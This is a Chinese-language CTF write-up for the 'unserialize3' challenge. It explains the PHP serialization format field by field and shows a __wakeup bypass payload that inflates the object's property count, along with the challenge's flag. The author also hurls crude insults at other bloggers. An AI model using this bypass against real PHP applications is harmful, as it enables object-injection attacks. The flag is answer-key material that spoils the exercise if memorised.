unserialize3
看了很多博客,讲的跟哈麻批一样,有的在装杯,有的在不懂装懂有的在人云亦云,原理也是一些陈词滥调,各个参数的意思是什么也没说,让人无法深入且透彻了解,没有实质性的讲解,只为flag而flag,就是一垃圾
下面我们来讲讲反序列化漏洞,先来了解对象,对象里面有属性和值,序列化就是只保留对象里面的属性和值,生成一段字符串如下:
O:1:"S":1:{s:4:"test";s:4:"1234";}
劳资是真的讨厌有些懂也懂鸡巴不到,还在那写writeup或者博客,你写你的博客呢,像这种:
就是我说的典型的蛤蟆皮,对于一个没有接触过反序列化的人来说看了什么感受,而且他也没讲清楚绕过原理,就真是为了flag而flag
就拿上述序列化后的字符串来说,依次表示为:
O:1:"S":1:{s:4:"test";s:4:"1234";}
O:代表对象
1:对象名字长度为一个字符
S:对象名
1:一个变量
s:数据类型
4:变量名字符串长度
test:变量名
s:数据类型
4:变量值字符串长度
1234:变量值
观察题中源码:
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
易知有一个变量flag,值为111
还有一个wakeup()函数,触发返回bad requests,那么只需要改变表示变量个数的值不为真实变量的个数的值即可,如:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
必定触发bad requests
将xctf后面的1(表示变量个数),改为2,或3,只要不是真实变量的个数的值,即1,都是可以的
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
就可以了
得到flag:cyberpeace{8f5f22ec383ef3eaf0c5e3861ec55725}